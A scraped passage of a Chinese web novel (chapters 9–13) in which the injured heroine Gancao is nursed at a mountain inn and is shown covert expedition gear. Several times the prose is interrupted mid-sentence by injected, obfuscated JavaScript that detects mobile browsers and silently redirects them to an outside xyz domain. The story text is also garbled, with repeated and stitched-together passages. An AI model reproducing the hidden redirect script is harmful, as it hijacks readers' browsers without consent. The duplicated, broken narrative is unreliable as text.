“后来我们看时间实在晚了,还需要找材料和工具,就没让他立即修好,他承诺今天一早修的。” 甘草趴在秀姐纤细柔软的背上,被她背回房间。 听完反而不气了。 粽子的脾气她了解,习惯了他经常做些出人意料的事情。 9. 第 9 章 甘草憋着气拉完肚子,出来时一瘸一拐,全身无力,好在肚子舒服了。秀姐很怜悯地背起她。 路过洗手池时,甘草虚弱地表示自己要洗手、洗脸。 其实她还想洗个澡,可她现在身上有伤,只能强迫自己忽略身上脏兮兮的。 见她此情此景还不忘弄干净自己,秀姐感慨了一番她的精致讲究。 背着她走到墙边的洗水池,放下她。 “你身上的伤口…”秀姐叮嘱到一半忽然没说了。 孙甘草是学医的,不需要她多嘴提醒这些。 “好的,秀姐,我不会让伤口碰到水的。” 她语气欢快,充满感激,尴尬消散的秀姐嘴角不由自主的微微扬起。 水池台面上有香皂,甘草打湿了洗手,空气中都是淡淡的茉莉花香气,她闻了闻自己洗干净残留了香气的手背,还挺好闻。 洗完手,又洗脸,最后连沾了一些灰的头发都拿秀姐借给她的手帕仔仔细细一缕一缕擦干净。秀姐很耐心地等着她弄完,中途没有半丝不耐烦,也没有催促过她快点,弄完早点去睡觉。 甘草很感激她,弄完再次道谢。 “秀姐,你真好,谢谢你啊。” “都是一个队的队友,不用这么客气。” “好吧。我明天请你和帅哥吃饭。” 秀姐背着她上楼,路过那块坏掉的板子时,她精准地跨了过去。 甘草后知后觉地反应过来。 “秀姐,你们知道这块板子坏了?” 她语气虚弱透着浓浓的郁闷,秀姐也不好笑出来。 “是啊。” 这句话让甘草无言了,她身体无力,却还是强撑着直起身,不高兴地指责。 “你们都知道这板子坏了,怎么没一个人修!这么危险的东西你们竟然都放任不管!” 秀姐没第一时间解释,经过的第一个房门时背着她停下了脚步。 “你不是想知道你的救命恩人叫什么吗?他叫白河,喏,就住在你旁边。” 火气蹭蹭的甘草一下偃旗息鼓,软软地趴会秀姐纤细的背上。 她快一百斤了,秀姐背着她又上又下的。她有什么资格怪秀姐她们。而且,她摔下楼怪不得秀姐他们。 “抱歉。” 秀姐不妨她会道歉,愣了一秒,就解释道:“确实是我们没做好,不应该把事情推到第二天做,你生气也是应该的。” 他们先抵达客栈,就有责任做好安全工作。 两人和好了。甘草好奇地看向秀姐说的房间。 “帅哥应该睡着了吧。” 房门紧闭,没有动静,不像是没睡的样子。 “应该吧。” 秀姐背着她回房,又解释了一遍。 “楼梯是你们家粽子弄坏的,为了对付队伍里的刘老二,他和刘老二不合,一路上都在吵架。” “后来我们看时间实在晚了,还需要找材料和工具,就没让他立即修好,他承诺今天一早修的。” 甘草更愧疚了。这事和秀姐一点关系都没有。 要怪就怪刘老二! 粽子的脾气她了解,经常会做些出人意料的事情,可要是没把他惹怒,他不会做到这个地步。 所以还是刘老二的错! 甘草很有偏向性把责任全归结于素不相识的刘老二。 一进甘草的豪华大单间,扫视一眼屋内,秀姐笑道: “你这间房确实比我们的房间布置更漂亮一些,位置也更好。” 秀姐要将她放在床上,甘草忙要求她将自己放在椅子上。 秀姐没有异议,却感慨她确实很讲究。 屋里只有一张椅子,甘草坐下后,身体还很虚弱,靠在椅背里,随手从桌上放吃的的袋子里拿出一瓶水来。 “屋里没有热水,秀姐,你要不要喝水。” “不用了,谢谢。”秀姐婉言谢绝了她的水后,见她半天打不开水平盖,顺手帮她打开了。 “谢谢。”甘草喝了一小口水。 夜里天气凉爽,一口凉水下肚,甘草整个人都清醒了一些。 “咕噜噜…”两天没吃东西的肚子发出了抗议。 不给吃的就算了,还空腹喝凉水。甘草也怕自己再跑厕所,没敢多喝水,拿了面包拆开吃。 这些东西都被粽子和小李哥他们洗干净了放在她屋里。 上车之前准备的吃的不少,可她几乎都没吃过。 这一路上她都是和葡萄糖、吃水果,含人参片过来的。肚子空空如也,刚刚蹲茅坑都是拉水。 甘草抱着面包大口啃,边吃边说: “秀姐,你去睡觉吧,我自己可以。” 她洗干净了手、脸和头发,却还没来得及换上干净的衣服。 浑身脏兮兮的。质地上好的绵绸睡衣皱巴巴的,贴在曲线姣好的身体上,显出几分柔弱可怜相。 跟何况她坐在椅子里,抱着面包狼吞虎咽的样子确实惹人心软,秀姐:“我看你伤的不轻,我先给你上药吧。” “没事的,伤得不严重,我自己可以处理,今天已经很麻烦你了。” 甘草吃着面包摇头,含糊不清地谢绝了秀姐的好意。 上药包扎她都能自己做。 都快天亮了,实在不必再麻烦别人。 “那我去给你做点吃的吧。”秀姐想了想道,实在觉得她啃面包的可怜,主动提出给她做点吃的,更何况她受伤,他们这组先来的确实有一点责任,要是严厉要求粽子把楼梯修好,就不会发生这样的事情了。 “我听你家粽子说过,你坐车后喜欢吃一个烤梨,厨房有梨子,我帮你烤个梨子,再煮一碗粥。吃了能睡得舒服一些。” 受了伤,又晕车累着了,喝点烤梨汁,再吃点粥,能暖胃清肺,最合适不过。 “那怎么好意思,”甘草听到可以吃热乎的,立即改口,“可以加点肉丝和青菜吗?” 还以为她要拒绝的秀姐:“…” 她差点以为自己听错了。 秀姐竟然真去给她做吃的,甘草感慨了一下秀姐大大的好人。 等人走了,屋里只剩下甘草一个人,吃了一个小面包,喝一口水,体力恢复了一点,甘草开始处理自己身上的伤。 她身上有多处撞伤,许多部位淤青,好在只有左腿膝盖擦破了一块皮,不过…短短半个小时过去,这些淤青已经淡化,而膝盖上的伤也已经消肿结疤了。 如果有其他人在这里,肯定会大吃一惊,怎么会有人伤好得这么快。 甘草却习以为常的样子。 这些伤不用上药就能好,可甘草还是熟练地从登山包里翻出医疗包,找出药、纱布、棉签、剪刀和棉布一一放在桌上,开始给自己擦药。 这些事她做很细致且熟练,不过半个小时就把全身上下的伤处都抹了药,膝盖上的伤也用一块小棉布和纱布包好了。 等她弄好这些,换上一套干净的睡衣,秀姐也做好东西,端着粥喝烤梨上来了。 做好一碗粥,很考验火候,时间短了不够软香,时间长了又熬过头,秀姐这一碗粥端进来,甘草只凭扑鼻的香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766066|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气就知道绝对是大师级厨艺。 再说烤梨,秀姐把东西一端进来,甘草就闻到了里面加了三粒枸杞和一钱银耳。 就这三粒枸杞和一钱银耳,让这个烤梨的滋味一下上了好几个等次。 “秀姐,你这手艺太好了吧。” “你都还没尝,怎么就知道了?” “闻也能闻出来,一看就是大师级别的。” 甘草对着她比了一个大拇指。秀姐被她夸张的说法逗笑了。 她发现她比她出去时精神好许多,好像渐渐恢复过来了。 “快尝尝吧,不知道合不合你口味。”秀姐把粥和烤梨放在桌上。 “那肯定合口味,我其实不挑食。”甘草双手抓着托盘边沿拖到自己面前,而后迫不及待地舀了一勺梨汁送进嘴里。 “唔唔唔…太好吃了。秀姐,你的厨艺太好了,比小李哥还好,以后谁娶了你,肯定一辈子都离不开你。” 秀姐被她的夸张形容逗得合不拢嘴。 她发现孙甘草说起甜言蜜语,比那些喜欢说好话的人更好听,大概是因为她说得很真诚。 哄得她都更好地伺候她了。 “你们家小李哥还会做饭?”秀姐随口问道,“我听说他是你们家管事。” “不是,他现在有自己的事业了,只是还帮我们家照看生意。”甘草大力的夸奖自己小李哥,“小李哥人很好,老实忠诚,会照顾人,比粽子那家伙成熟稳重。” “你不知道,小李哥小时候就想给人家国营饭店当大厨,这样天天都能吃到肉。我和粽子还说以后跟着他吃肉。后来我们家发家了,小李哥天天有肉吃,他就抛弃了这个伟大的理想。” 秀姐:“…”听得忍俊不禁。 “你们三个一块长大的?” 甘草边吃边点头,她开始喝粥了,粥的味道也极好吃,吃得她停不下来。 “唔唔唔…我和小李哥认识的更早,我们是一个村的。粽子是后来和他爸妈搬到我们村的。我们一块长大,和亲兄妹差不多。” “难怪他们对你都很好。” 甘草点头:“上山捡柴,下河摸鱼的交情。” 秀姐被她朴素的形容逗笑了。 不过穿裤衩时候的情谊确实比寻常情谊更深厚些。 三人可能比亲兄妹感情更好。 接下来,两人就这样随口闲聊。主要是秀姐说,甘草边吃边听。 秀姐说了他们这一组人一起来的情况。 他们一路都很顺利,就是日夜轮换开车,今天下午才到。 到了之后又马不停蹄租客栈,整理东西。 粽子为了让甘草住的舒服点,让老板找人重新打扫了屋子,还买了苍术熏。 他们一直忙到晚上九点才睡觉。 睡下没多久,甘草他们这一支人就到了。 “我们还以为你们明天才会到。” 一路上粽子和小李哥通过电话,知道他们一路不顺。 “我晕车晕的厉害,小秦哥就把车开得快了一点。” 秀姐:“你这样进雪山没问题吗?” 想到进雪山,甘草嘴里的食物都不香了,深深叹气:“唉——都到了这里了,没办法。” 秀姐没多问,转而说起其他。 他们这组人算上赵商总共八人,粽子、秀姐、帅哥。 还有三个一起的,叫王老大、刘老二和齐老三。 剩下一个不爱说话,做事认真负责的,叫阿川。 这些人的来历秀姐也不清楚,只知道他们身手应该不错。 10. 第 10 章 甘草对秀姐很好奇。 当然她对帅哥更好奇,只是现在不是打听的时候。 “秀姐,你为什么加入队伍啊?” 秀姐笑了笑,两手一摊道:“我喜欢旅游,也喜欢雪山,曾经带过几支队伍进山徒步穿越药神山。” “不过我们走的路线比较安全,这次听说要去药神山深处探索,一来,我挺有兴趣,二来你们队伍给的报酬高,我舍不得拒绝。” “三来,听说你们队是要找什么药,算起来也是正事,我就来了。” 甘草听了没有多解释什么。 榆安安瞒着她,也瞒着队伍其他人呢。 看来只有分东西的人知道她要找的是什么药。 而且具体的药材信息还要进山之后才告知他们。 不知是不是为了防止泄密。 “秀姐,你们报仇多少啊?”被逼进队伍里,甘草都没来得及了解这些信息,正好抽空打听一下。 “你不知道吗?”秀姐惊讶地问她。 上下打量她。 怎么说也是雇主之一,这些事都不清楚! 甘草垂下眼皮看着碗里的粥。 总不能说她是被逼上梁山,大包送进队伍里的吧。 那也太丢份了。 “我就是随便问问,看看有没有人从中克扣。” “那应该没有。”秀姐笑着比了一根大拇指和小拇指,“我们所有人都是这个数起步,我应该是中等费用。” 甘草看了一眼,心里有数了。 是自己出的起的价格。 秀姐说完又补充了一句,“不过这次你们只付了三成首款,其他的需要等到出来以后再付。” 甘草垂着脸皮慢吞吞喝粥。 十五个人,减去四个分东西的不用钱,剩下十一个人,小李哥和榆安安带的四个榆家人应该不用队伍出钱。 那么剩下跟着赵商来的就是另外雇佣的人。 “秀姐,你们是怎么被找来的?” 秀姐朝着她眨眨眼,“其他人我不知道,我的话…哈哈…暂时保密。” 甘草:“…” 秀姐可真顽皮。 甘草吃粥的空挡,秀姐又说了一些无关紧要的事。 比如他们这一组两辆车,原本粽子和刘老二三人一辆车,结果因为两人不合,粽子把人赶下车了。 最后赵商车上的秀姐、阿川和帅哥就换到了粽子车上。 帅哥好像不会开车,总之他没说自己会开。 于是秀姐和粽子、阿川轮流开车。 这样日夜兼程,才按时赶到了这里。 本以为他们会晚到,谁知比他们坐飞机的还早到。 不得不让他们感慨一番人算不如天算。 从粽子这里,秀姐听了一些甘草的事情,见了之后,发现粽子还真没夸大其词。 娇气… 特别爱干净… 是个需要捧在手心呵护的姑娘。 但同时,她又认识了她的善解人意、礼貌、适应力强… 总之,是个挺有意思的姑娘。 甘草听了她美化过后的评价:“哈哈…哈哈。” 她一点不在意被人小瞧。 她就是这么龟毛、这么一个柔弱不堪的姑娘。 吃完粥和烤梨,甘草五脏六腑都极为舒适,她细致的擦干净嘴。 “秀姐,我要去刷牙,你先回去睡觉吧。” 秀姐看了看手表,快五点了:“…” 准备伸手扶她,却见她自己一瘸一拐地走到门口的架子上拿洗漱用品。 “秀姐,我没事的,你去睡吧。” 虽然她表示自己可以,可秀姐还是陪着她去洗漱了。 做完这些回来,天都快亮了。 甘草干干净净清清爽爽地钻进被窝里,伸手按下她不久前从行李包里找出来放在床头柜上的小狗台灯,躺下去后,她抱着一个枕头和秀姐挥手:“秀姐,我就不送你出去了,你出去帮我关上门口的灯即可。” “晚安。” 终于将她送回床上睡觉的秀姐也轻柔地回了一个“晚安。” 等她睡着,秀姐站在床边,愣愣看着她恬静的睡颜许久。 屋内安静地只剩下两道细微的呼吸声,这时候,秀姐左耳动了动。 似乎确定了什么,她开始动作了。 弯腰轻轻掀开床上姑娘腿部的被褥。 她的动作轻柔缓慢,没有惊动睡着了的姑娘。 被褥下,两条纤细的美腿笔直修长,被质地柔软顺滑的丝绸睡裤贴身包裹,两条腿分开陷在柔软的被窝里。 秀姐看着床上女生诱惑力十足的身躯,不由想到白河在抱着这个脸庞清纯明艳,身材曲线姣好,介于女孩纯净和女人妖娆之间的人间尤物时是怎么做到心如止水,轻易放开的。 就是身为女子的她看了都心动,白河那个男人是柳下惠吗? 秀姐在心里吐槽完,开始下一步动作。 左手轻轻握住床上女生的左腿脚踝,让她左腿离开床铺,接着,右手指尖捏住裤脚口往上拉。 一直到露出膝盖的纱布和棉布,她放开了裤腿。 绸缎质地的裤腿再一次回到主人的腿上,像一片落叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她以最快的速度调整好自己心态。 “不好意思,我怕你伤势严重,需要去医院,你们家粽子曾经拜托过我好好照顾你,我…我是不是打扰到你了?” 秀姐说着,懊恼地低下头去。 同时也放开了甘草的左腿。 床上的姑娘没有动静,一直盯着她看。 就在秀姐呆不下去时,床上的姑娘有了动静。 “这样啊——”她说着,她轻轻眨了一下眼眸,移开了盯着秀姐的平静地过分的视线。 秀姐看到她轻轻地如花儿绽放一样笑了一下,一下恢复了正常,好像刚刚诡异的她都只是她一个人的错觉。 可秀姐知道不是错觉,现在她都能听到自己心脏砰砰地直跳。 那是吓到了的最切实的证据。 11. 第 11 章 甘草不知道她所想的。 她掩唇打了个困顿的哈欠,接着半抬起身,将被掀开的被褥重新给自己盖好。 躺回去后,她又抱紧了自己拿来当抱枕的枕头。她似乎没多在意这件事,只是随口略遗憾地嘟囔了一句。 “我还以为你有什么奇怪的嗜好呢。” 这句话她说得极轻,站在床边的秀姐却听得一清二楚。 奇怪的嗜好… 秀姐雷劈一样站在原地,不可置信地睁大眼睛看着床上语出惊人的姑娘。 什么叫她有奇怪的嗜好? 偷看人家姑娘的腿吗? 看着床上恢复了正常又准备睡过去的姑娘,她解释的话都卡在了喉咙里,一个字都说不出来。 “秀姐,”甘草又掩唇打了个哈欠,困得不行的样子,挥挥手,“你快去睡吧,我的伤没事的,明天就能好。” “没事就好…没事就好…”秀姐不知道说什么好,站在原地头脑混乱,看起来有点傻。 “那晚安?” 秀姐被提醒,如梦初醒,忙转身拿起自己放在桌上的手电筒打开,往门外走。 “晚安晚安。” 她颇有点落荒而逃的意思,可偏偏脚步又因为想保持冷静而变得僵硬,路过门边时,她抓着电灯绳子往下一拉。 啪嗒—— 屋内暗下来,屋内床头柜上的甘草小狗台灯发出柔和的光芒,和秀姐手里的手电筒光保持了一段距离。 秀姐回头,就看到床上的姑娘又抱着枕头,面朝她这边睡着了。 呼吸平稳,神态安详… 她左耳动了动,这次,她很快露出了失望的神态。 大受打击,秀姐神色恍惚地拉开门,一抬眼,就对上了门外等着的人的平静眼眸。 秀姐神色立即微变,她下意识回头看了一眼床上熟睡的孙甘草。 不知道她想到了什么,眼珠儿闪过一丝狡黠的光芒,而后,她嘴角扬起温柔的笑容,转身对上门外安静等着她的人。 “嘎吱——” 她一步走出去,关上门。 门内,熟睡的甘草不知何时无声无息地睁开了眼,她看向门口的方向。 门在她眼前关上,她看到门外站着一双穿着眼熟的黑色布鞋和浅蓝色宽松裤子的长腿。 她没有动,只是静静地竖起耳朵。 “你怎么来了?” “也不放心孙小姐?” “放心吧,她没事了。快去睡吧,我也累了,实在撑不住了。” “晚安~” 甘草听到门外秀姐压低声音,轻快而亲昵地和对方说话。 另一个人却自始至终没有说话。 秀姐简短地说完,脚步轻松又从容地走了。 而另一个人,没有发出声音,甘草甚至不知道他走了没有。 “喔喔喔喔——” 天微微亮的时候,外面的大公鸡嘹亮的歌喉就传到了屋内,半睡半醒间的甘草立马抱好枕头,将脑袋埋进枕头里睡着了。 大公鸡好啊。 叫醒了所有人。 她就可以安心睡觉了。 昨晚她听了半天也没听到门口的人走了没,胡思乱想没睡好。 早上大家都醒了的话,她反而能睡个好觉了。 隔壁的白河不知道她所想,大公鸡叫后没多久,他就睁开了那双黑夜中比寻常人看的清楚的眼睛。 想起昨晚发生的事情,他面色淡然地起床,先拿了昨晚换下来丢在椅子上的脏衣服,又走到门边拿了架子上的洗漱用品,下楼洗漱。 他在下面水池边洗了不到半个小时,赵商就端着自己洗脸盆下来了。 看到白河穿了一身浅蓝色长衣长裤在洗衣服,他惊讶地看向他的水盆。 水盆里一套洗干净在清水的浅灰色衣裤。 赵商奇怪地打量白河。 什么毛病,一大早起来洗睡衣裤,身上穿的竟然还是干净的睡衣裤。 他就不能换一套可以穿出去的干净常服? 赵商也没多想,走到水池边打招呼。 “起的挺早?” 白河洗干净洗衣服,拧干水,放在水盆里,再顺手拿上水池上方台面上属于自己的洗漱用品,转身大步走了。 赵商习惯了他冷淡的态度,不过今天总觉得他有点不一样。 只是哪里不一样,赵商暂时没想明白。 零零散散,一直到十一点,一支队伍的人才起来一半。 客栈老板和他孙女也起来了。 两人一个五十多岁,一个十岁,昨晚被后来的甘草等人吵醒,凌晨两点多才睡着。 所以今天也起晚了。 “小伙子们,那啥…我们这儿以前很少来这么多人,这…准备的东西不够多,所以能不能麻烦你们待会儿跟我们一起去采买?” 五十多岁的藏族大爷带着孙女上完菜,操着一口不太流利的汉语对赵商说。 赵商思索片刻就答应了,“我待会儿开车,带几个人和你一起去采买。” 这次他们来的突然,客栈只有一个老大爷和一个小姑娘,确实需要帮助。 “唉,这爷俩挺可怜的。”等客栈老板带着孙女下去后,小秦哥拿了筷子说道。 这些年他跑遍滇云各地采购药材,对各地住宿的地方都有所了解。 “他们爷孙怎么了?”同桌的小李哥问。 粽子毫不关心这些,拿着筷子大口吃饭。 他待会儿还要修楼梯,没空管这些闲事。 小秦哥左手拿了一块糌粑,右手端了一碗酥油茶,喝一口茶,吃一口糌粑。在滇云生活了这些年,饮食基本被同化了。 “这大爷原本有儿子、儿媳,一家都勤快能干,在草原生活。后来孩子大了,他们就打算搬到镇上生活,这里有好的学校,生活也更方便一些。” “于是他们买了牛羊,又借了不少钱,买了这地方开客栈。两年前,夫妻俩出了意外,没能活下来。老爷子就带着孩子勉强支撑。” “这地方平日里来旅游的人少,他们身上还背着许多债,除了平常的开支,其他的都拿去还钱了。” 一桌的人,除了只关心吃的不太习惯的粽子,和面色平静的帅气,其他人都唏嘘不已。 “我去修楼梯了。”粽子喝完最后一口酥油茶,丢下碗筷,率先离席。其他人也陆陆续续吃完,干各自的事情去了。 一大桌早饭,这群人人一扫而空。 老板和孙女来收碗筷时,小女孩感慨:“爷爷,他们吃的好多啊,都吃完了。” 老板黝黑的脸上笑出一脸褶子:“吃的多,身体才会更强壮啊。” .< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从小到大,她每次受伤,小伤第二天会好,不留一丝疤痕,严重点的伤,也只需要三四天好,同样不会留疤。 至于更严重的…大家把她保护的太好了,还没受过断手断脚那样严重的伤。 所以她也不知道自己断手断脚会不会也能好那么快,且不留下丝毫后遗症。 “棒槌?” “棒槌?” 甘草被门外小声地呼喊打断了思路,回过神来。 “你干什么?” “你醒了?那快出来吧!我们去干正事。” 甘草听粽子最后一句话说得极低,好像怕谁听见似的,立马猜到他可能又要搞什么了。 甘草慢吞吞重新包扎好膝盖,起床、换衣服,再随便配了一个驱虫的药包放身上。 “可以进来了。” 粽子推开门大步走进屋,随手将手里提着的一个黑色背包放在屋内的桌上。 “快来看看我们给你准备的一些特殊装备。” 甘草走到桌前坐下。 12. 第 12 章 粽子拉开背包拉链,甘草低头一看—— 背包里躺着一把军刀、一把枪、两个备用弹夹… 另外还有冰镐、冰爪在内翻越雪山的正常装备。 看到这些东西,甘草脸色依旧平静,好像这些东西都是常用品一样。 她视线扫过包里的那些装备后,先落在了那把小巧的军刀上,而后拿了起来检查。 至于包里的枪—— 其实她小时候就跟着孙老头见识过村里民兵团的枪,也学过枪,可她没什么射击天赋,准头时好时坏。 所以她对枪没太大兴趣,反而是那把小巧的军刀,做工精致,看起来是粽子的手笔。 “果然是我发小,就是有眼光,这把刀是小爷亲自做的,好看吧?” 甘草点点头,拉开刀身,巴掌长一点点的刀握在她手里,像个玩具似的,没有丝毫杀伤力。 “你别看这刀小,锋利,坚硬,刀把用了镂空设计,轻便许多,很适合你进山携带。” 甘草点头。 嗯,也适合搞偷袭。 见她满意,粽子又从她手里拿走那把军刀,合上刀身后,对着她展示,“你看,刀把这里还做了点小设计。” 他大拇指握住刀把的一个按钮缓缓往前推,一把小小的手术刀从刀把里被推出来。 “可以给你拿来当手术刀用。” 甘草眼睛一亮,笑眯眯接过粽子还给她的军刀,“你以为我是榆安安啊。”总是把手术刀揣身上。 甘草不在意地说着,弯腰拉开脚下自己的背包,从里面翻出一个本子来,然后翻到空页撕下一页来,她左手拿着纸张,右手握着军刀,将手术刀贴在纸张上,轻轻往下划。 纸张立即被整齐地切成两半,一半在甘草手里,另外一半轻飘飘的落在了地上。 “好刀!” “那是,小爷出品,必属精品。”粽子弯腰捡起那半边纸,随手揉成一团丢在桌子旁边的垃圾桶里。 甘草笑眯眯地将那半边纸也递给粽子让他丢垃圾桶,然后对着一边的空处咻咻比划了两下。 “有没有觉得我现在挺像榆安安那大魔鬼?那魔鬼就喜欢给人开膛破肚。” 榆安安是中医科主任,但同时修习了西医,平常也在西医那边救人。甘草曾经许多次偷偷跟进去看榆安安给人手术,那样子,比卖鱼的人杀鱼还利落,手起刀落,就那人皮肤划开了。 甘草觉得有种凶残的美。 “哇——”粽子夸张地举起双手抵住唇,睁大丹凤眼,装作星星眼:“外科第二把刀!” “噗嗤!”甘草没忍住,笑出来。 抬手打了一下他手臂。 粽子怪声怪调搞怪的样子像个野猴子。 而且人家榆安安被称为“外科一把刀”,那是实至名归,她一个还没出师的医学生,虽然被称第二把刀很爽快,但受之有愧啊。 粽子见她笑起来,也咧开嘴,露出一口大白牙。 爱不释手地把玩了一会儿那把军刀,甘草直接揣兜里了。 现在,她也和榆安安看齐了。走哪里都带一把刀。 而且她还是双刀。 以后就简称“刀二”。 是她独有的外科二把刀! “棒槌。”粽子看她笑着笑着,忽然正经叫了她一声。 “做什么?”甘草闻言撩起眼皮看他一眼,“又想搞事情了?” 粽子少有一本正经的时候,他这么正儿八经地叫她,通常昭示着他要搞事了。甘草看完他,又低头去检查包里的其他东西了。 “你今天心情不错?”她语气平静,神色也轻松,粽子确定自己没看错,她今天心情就是不错。 甘草闻言,拿冰镐检查的手顿住。 “我只是想明白了。” “想明白什么?”粽子愣了一下问。 甘草抬头,对他露齿一笑,“想明白你是个笨蛋,比我还笨的笨蛋。” 说完,她哈哈哈大笑起来,粽子气笑了,伸手把她头发弄乱了。甘草把被弄乱的头发梳理顺,轻飘飘瞥他一眼:“幼稚。” 粽子原地凌乱:“…”谁幼稚,谁幼稚啊! 闹过后,粽子给她大致介绍了一下他给她的装备,事实上请粽子帮忙弄装备时,离出发的时间就没几天了。 一直到出发前一天,他才说东西弄好了。当时他还瞒着他也加入队伍了,并且暗戳戳计划逃跑的事。为此,他谎称请人帮忙带去滇云了,只要让小秦哥去签收就行了。 所以直到今天,甘草才见到这部分他紧赶慢赶弄来的优良装备。 许多东西,粽子做了奇奇怪怪的设计。 比如登山杖把手加了一个银针发射装置,另一头能连接配套的钩子,钩子还能弹出刀片。 据他介绍,如果需要采悬崖绝壁上的药草的时候,直接一勾就能采到了。 总之,听完粽子的大致介绍,甘草越家叹服他的奇思妙想。 东西很多,只有需要介绍的粽子会给她讲解,其他的让她之后再看。 甘草也不需要他一一讲解,出发之前她了解过雪山装备怎么用。不必要浪费时间一一教她。 看完装备,甘草将黑色背包拉链拉好,提起来放到桌边其他两个行李包旁边。 这两个行李包,一个装了她日常所用,是个大皮袋,不用带进山,在客栈里用的。 另外那个大红色登山包才是她这次进山要背的包。 看到这个颜色鲜艳,惹人瞩目的大红色登山包时,甘草脸上顿时露出无奈的表情。 她的登山服和这背包是一套的,都是俗严的大红色。 甘草只要想到自己要穿得更个移动的红包似的就很窒息,可东西已经做好了,她就算不喜欢颜色也来不及改了。 而据小李哥说,这俗艳的颜色是孙老头要求的,说进雪山,出了事,红色更醒目,更容易找人。 想到孙老头,甘草心情微涩,但她很快把这不该有的情绪抛开,起身去拿洗漱用品去洗漱。 “喏,房间钥匙,”粽子从兜里掏出一把钥匙给她,“昨晚忘记了,以后出去别忘了锁门。” 甘草随手接过揣兜里。 现在队伍情况不明,她屋内又有大杀器。 锁上门确实更安全。 锁门时,旁边等着的粽子忽然说;“棒槌。” “干什么?”甘草拿钥匙对准铜挂锁,头也没抬。 粽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766069|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子语气平平说:“虽然小李哥觉得小爷很多事做的不对,但小爷不会改的。小爷这辈子都不会觉得自己有错。” 甘草锁好门,好奇瞧他一眼:“你做什么了,让小李哥说你?” “没什么,他就是爱操心。”粽子转身朝着前面走,甘草端着洗脸盆跟上。 她总觉得粽子有话说,但他好像又顾及着什么没说出来。 “棒槌,这次小爷带着你大杀四方,寻遍山上所有宝贝!” 甘草听到前面的他说出这句振奋人心的话,心头的疑虑就抛到脑后了。 他不想说的事,没必要非追问。他想说时,自然会说。 两人一前一后下楼,走过楼梯上那块修好的坏板子时,粽子忽然神神秘秘地回头,压低声音对她说:“棒槌,你不知道,昨晚我把这块板子弄坏了。你不知道队伍里的刘老二多贱,小爷实在忍不住了,才想着教训他。” “结果今天起床时,我发现这块板子裂的缝隙变大了许多。我猜可能是那个倒霉鬼起来忘记了这件事,踩到这块坏板子了,就是不知道摔着没。” 摔着了还摔瘸了的倒霉鬼甘草:“…” 一巴掌将粽子脑袋推开,“我现在看见你就烦。” “烦什么?小爷又没招惹你。”粽子一脸莫名其妙地摸摸自己被推开的头,感觉还挺疼。 “还有,你干嘛那么用力?小爷头都被你推傻了。” 甘草面无表情地绕过他,往下面走。 “因为你脑子进灰了,我帮你拍灰。” 脑子进灰?!! 粽子瞪了一会儿她的背影,急忙追上去。 “小爷怀疑你在报复我,我又证据。” 两人说说笑笑往下走。 甘草报了摔跤之仇,懒得再欺负他了。粽子压根就没在意这件事,大长腿刻意放缓了步调,两人很快就步伐一致了。 身后不远处阿川从院子里走过,看见两人并排往院子另一侧走去,脚步一致地像是有人在默默喊口号,嘴角抽了抽。 有病。 不知道的还以为他们两个是亲兄妹。 粽子和甘草不知道身后有人走过,路过厨房,粽子商量道:“我去给你煮个梨子水吧,等你吃完,咱们就出去走走,叫上小秦哥。” 甘草忙喊住他:“不用,我们待会儿出去吃,你想起哪儿玩?” 她待会儿还有事情做。粽子要么跟着她一起去,要么另外找人带粽子出去玩。 据她所知,粽子好像还没来过滇云这边旅游过。 其实她也只来过这里一次,对这里并不熟。 不过他们有车,应该耽误不了多少时间,大不了晚点睡。 粽子不知道她所想,闻言立马高兴地走回来。 他不喜欢下厨。 只是甘草每次坐长途车后需要吃梨子水清肺,他习惯了帮忙烤梨子。 不过他烤梨子就是把梨子放到火上烤,烤软了让她插根吸管自己抱着吃。 甘草也是知道他做的不好吃,所以不想再吃。 昨晚上已经吃过更好吃的了。 “等我们出去时再说。” 甘草也没多问,两人并肩走到水池那边。 13. 第 13 章 粽子和甘草不知道身后有人走过,路过拐角处的厨房,粽子忽然想起来什么的样子道:“我先去给你烤个梨,等你吃完,我们出去走走,叫上小秦哥。” 叫上小秦那叫不叫小李哥?甘草猜测粽子可能还在和说他的小李哥生气。 幼稚。 “我今天不想吃烤梨了。”甘草忙叫住他 粽子闻言立马高兴地走回来。 他不喜欢下厨。 只是甘草每次坐长途车后需要吃烤梨清肺,据她自己说是因为她肺里积累了太多臭气排不出去,需要借助梨子的功效,所以粽子习惯了帮忙烤梨子。 不过他烤梨就是把梨子放到火上随意烤几下,烤糊了也不在意,只要一烤软, 就让她插根吸管自己抱着喝。 甘草也是知道他做的不好吃,所以不想再吃。 昨晚上已经吃过更好吃的了。 “你想去哪里玩?”她待会儿还有事情做。粽子要么跟着她一起去,要么另外找人带粽子出去玩。 